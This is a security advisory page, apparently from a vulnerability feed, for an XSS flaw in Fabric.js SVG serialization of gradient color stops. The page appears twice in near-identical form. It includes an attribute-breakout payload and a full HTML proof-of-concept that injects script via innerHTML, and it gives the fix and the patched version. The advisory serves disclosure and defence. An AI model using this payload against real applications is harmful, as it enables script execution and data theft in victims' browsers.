CVE-2026-44311Medium· 5.4▾ Sunlit

Fabric.js improper escaping in fabric.Gradient colorStops leads to XSS in SVG serialization

▾ Sunlit zone — Low / medium · no exploitation signal

Depth score30/ 100 · Low

impact 29.7 · likelihood 0.1 · exploitation 0

⚡ Agent-ready:Raw markdown ↗JSON ↗

Proof of concept

Need a working PoC? Pro members can cast a request and our team develops one — it lands right here.

…

Published

Jun 12, 2026

Updated

Jun 12, 2026

CVSS

5.4

Vendor

fabric

Product

fabric

CWE

CWE-79, CWE-116

Depth score

30 · Low

EPSS

0.27% · p20

Platforms

—

Source

GHSA

Vector

—

EPSS history

Exploit-prediction probability, daily snapshots since Jul 7.

0.2% → 0.3%▲ 0.08%

Timeline

Disclosure to exploitation, from the record and what we observed since indexing it.

3 events · 73 days

Jun 12, 2026Published
Disclosed via GHSA
Jul 7, 2026EPSS first tracked
0.2%
Aug 24, 2026EPSS peak
0.2% → 0.3%

fabric CWE-79 CWE-116 #ghsa #npm

Affected

fabric < 7.4.0

Patched in

fabric 7.4.0

Full technical detail▾

Overview

Summary

A potential Cross-Site Scripting (XSS) vulnerability exists in Fabric.js due to improper escaping of user-controlled input during SVG serialization via the toSVG() method.

Specifically, the color field within the colorStops array of a fabric.Gradient object is not properly escaped when converted into SVG <stop> elements. If an application renders the generated SVG string into the DOM (e.g., via innerHTML), this may allow an attacker to inject arbitrary HTML/SVG and execute JavaScript in the victim's browser.

Details

During SVG export, Fabric.js serializes gradient color stops into <stop> elements like:

<stop offset="0" stop-color="..."></stop>

However, the color value is inserted into the stop-color attribute without proper escaping of special characters such as ", <, and >. This allows crafted input to break out of the attribute context and inject arbitrary markup.

For example:

color: 'red"><img src="x" onerror="alert(1)">'

may result in:

<stop offset="0" stop-color="red">
<img src="x" onerror="alert(1)">

This breaks the intended SVG structure and introduces executable HTML.

PoC (Proof of Concept)

Successfully verified on v7.2.0 (current latest version). The following HTML and JavaScript code reproduces the vulnerability. The code constructs a rectangle with a maliciously crafted gradient color stop and exports it to SVG:

<!DOCTYPE html>
<html>
<head>
   <title>Fabric.js SVG Export XSS Bypass Test</title>
   <script src="[https://cdn.jsdelivr.net/npm/[email protected]/dist/index.js](https://cdn.jsdelivr.net/npm/[email protected]/dist/index.js)"></script>
</head>
<body>
   <h1>Fabric.js SVG Export XSS Bypass Test (Gradient Color)</h1>
   <canvas id="c" width="400" height="300"></canvas>
   
   <h3>SVG Output Rendering:</h3>
   <div id="svg-output" style="border: 1px solid #ccc; padding: 10px; margin-top: 10px;"></div>

   <script>
       setTimeout(() => {
           const canvas = new fabric.Canvas('c');
           
           // Construct a malicious gradient object
           const maliciousGradient = new fabric.Gradient({
               type: 'linear',
               coords: { x1: 0, y1: 0, x2: 100, y2: 0 },
               colorStops: [
                   {
                       offset: 0,
                       // Inject XSS payload to prematurely close the attribute/tag
                       color: 'red"><img src="x" onerror="alert(\'XSS Triggered Successfully!\')">'
                   },
                   { offset: 1, color: 'blue' }
               ]
           });

           const rect = new fabric.Rect({
               left: 50, top: 50, width: 300, height: 100,
               fill: maliciousGradient
           });

           canvas.add(rect);

           // Export to SVG string containing the malicious code
           const svgOutput = canvas.toSVG();

           // Render on the page to trigger the XSS
           document.getElementById('svg-output').innerHTML = svgOutput;
       }, 100);
   </script>
</body>
</html>

Impact

This issue can lead to XSS in applications that:

Allow user-controlled input in gradient definitions (e.g., color values)
Use canvas.toSVG() to export content
Insert the resulting SVG string into the DOM without sanitization (e.g., via innerHTML)

Successful exploitation may result in the execution of arbitrary JavaScript in the victim's browser, theft of sensitive data, or unauthorized actions on behalf of the user.

Suggested Fix

Proper Escaping (Recommended): Escape special characters in attribute values during SVG serialization.

Affected packages

fabric < 7.4.0

Remediation

Upgrade to a patched release:

fabric 7.4.0

References

Related vulnerabilities

Connected by shared product, vendor, weakness, or advisory.

#ghsa#npm

← Back to feed

CVE-2026-44311Medium· 5.4▾ Sunlit

Fabric.js improper escaping in fabric.Gradient colorStops leads to XSS in SVG serialization

▾ Sunlit zone — Low / medium · no exploitation signal

Depth score30/ 100 · Low

impact 29.7 · likelihood 0.1 · exploitation 0

⚡ Agent-ready:Raw markdown ↗JSON ↗

Proof of concept

Need a working PoC? Pro members can cast a request and our team develops one — it lands right here.

…

Published

Jun 12, 2026

Updated

Jun 12, 2026

CVSS

5.4

Vendor

fabric

Product

fabric

CWE

CWE-79, CWE-116

Depth score

30 · Low

EPSS

0.27% · p20

Platforms

—

Source

GHSA

Vector

—

EPSS history

Exploit-prediction probability, daily snapshots since Jul 7.

0.2% → 0.3%▲ 0.08%

Timeline

Disclosure to exploitation, from the record and what we observed since indexing it.

3 events · 73 days

Jun 12, 2026Published
Disclosed via GHSA
Jul 7, 2026EPSS first tracked
0.2%
Aug 24, 2026EPSS peak
0.2% → 0.3%

fabric CWE-79 CWE-116 #ghsa #npm

Affected

fabric < 7.4.0

Patched in

fabric 7.4.0

Full technical detail▾

Overview

Summary

A potential Cross-Site Scripting (XSS) vulnerability exists in Fabric.js due to improper escaping of user-controlled input during SVG serialization via the toSVG() method.

Details

During SVG export, Fabric.js serializes gradient color stops into <stop> elements like:

<stop offset="0" stop-color="..."></stop>

For example:

color: 'red"><img src="x" onerror="alert(1)">'

may result in:

<stop offset="0" stop-color="red">
<img src="x" onerror="alert(1)">

This breaks the intended SVG structure and introduces executable HTML.

PoC (Proof of Concept)

<!DOCTYPE html>
<html>
<head>
   <title>Fabric.js SVG Export XSS Bypass Test</title>
   <script src="[https://cdn.jsdelivr.net/npm/[email protected]/dist/index.js](https://cdn.jsdelivr.net/npm/[email protected]/dist/index.js)"></script>
</head>
<body>
   <h1>Fabric.js SVG Export XSS Bypass Test (Gradient Color)</h1>
   <canvas id="c" width="400" height="300"></canvas>
   
   <h3>SVG Output Rendering:</h3>
   <div id="svg-output" style="border: 1px solid #ccc; padding: 10px; margin-top: 10px;"></div>

   <script>
       setTimeout(() => {
           const canvas = new fabric.Canvas('c');
           
           // Construct a malicious gradient object
           const maliciousGradient = new fabric.Gradient({
               type: 'linear',
               coords: { x1: 0, y1: 0, x2: 100, y2: 0 },
               colorStops: [
                   {
                       offset: 0,
                       // Inject XSS payload to prematurely close the attribute/tag
                       color: 'red"><img src="x" onerror="alert(\'XSS Triggered Successfully!\')">'
                   },
                   { offset: 1, color: 'blue' }
               ]
           });

           const rect = new fabric.Rect({
               left: 50, top: 50, width: 300, height: 100,
               fill: maliciousGradient
           });

           canvas.add(rect);

           // Export to SVG string containing the malicious code
           const svgOutput = canvas.toSVG();

           // Render on the page to trigger the XSS
           document.getElementById('svg-output').innerHTML = svgOutput;
       }, 100);
   </script>
</body>
</html>

Impact

This issue can lead to XSS in applications that:

Allow user-controlled input in gradient definitions (e.g., color values)
Use canvas.toSVG() to export content
Insert the resulting SVG string into the DOM without sanitization (e.g., via innerHTML)

Successful exploitation may result in the execution of arbitrary JavaScript in the victim's browser, theft of sensitive data, or unauthorized actions on behalf of the user.

Suggested Fix

Proper Escaping (Recommended): Escape special characters in attribute values during SVG serialization.

Affected packages

fabric < 7.4.0

Remediation

Upgrade to a patched release:

fabric 7.4.0

References

Related vulnerabilities

Connected by shared product, vendor, weakness, or advisory.

#ghsa#npm